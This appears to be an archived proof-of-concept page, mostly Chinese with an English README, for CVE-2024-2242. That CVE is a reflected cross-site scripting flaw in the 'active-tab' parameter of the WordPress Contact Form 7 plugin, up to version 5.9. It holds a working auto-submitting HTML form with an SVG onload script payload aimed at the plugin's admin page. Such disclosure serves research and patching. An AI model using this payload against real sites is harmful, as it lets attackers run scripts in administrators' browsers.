关联漏洞
标题:
WordPress Plugin Contact Form 安全漏洞
(CVE-2024-2242)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin Contact Form 7 5.9 版本及之前版本存在安全漏洞,该漏洞源于输入清理和输出转义不足,通过“active-tab”参数可以进行反射跨站脚本攻击。
描述
Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting
介绍
# CVE-2024-2242
Contact Form 7 <= 5.9 - Reflected Cross-Site Scripting
# Description
The Contact Form 7 plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘active-tab’ parameter in all versions up to, and including, 5.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
```
CVSS: 6.1
Impact: 2.7
Vector: network
User Interaction: required
Privileges Required: none
Published: 2024-03-13
Updated: 2024-03-13
```
POC
---
You need to know the post id value the form is on otherwise when the admin clicks the link it won't work.
Overall this should have priviliages required as H as you need admin to click the link.
```
<html>
<body>
<form action="http://kubernetes.docker.internal/wp-admin/admin.php">
<input type="hidden" name="page" value="wpcf7" />
<input type="hidden" name="post" value="4478" />
<input type="hidden" name="active-tab" value="'"><svg/onload=prompt(7);>{{7*7}}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
```
文件快照
[4.0K] /data/pocs/5a3aec7bdc447e34aa2c50d5e499819a8abff8c3
└── [1.4K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。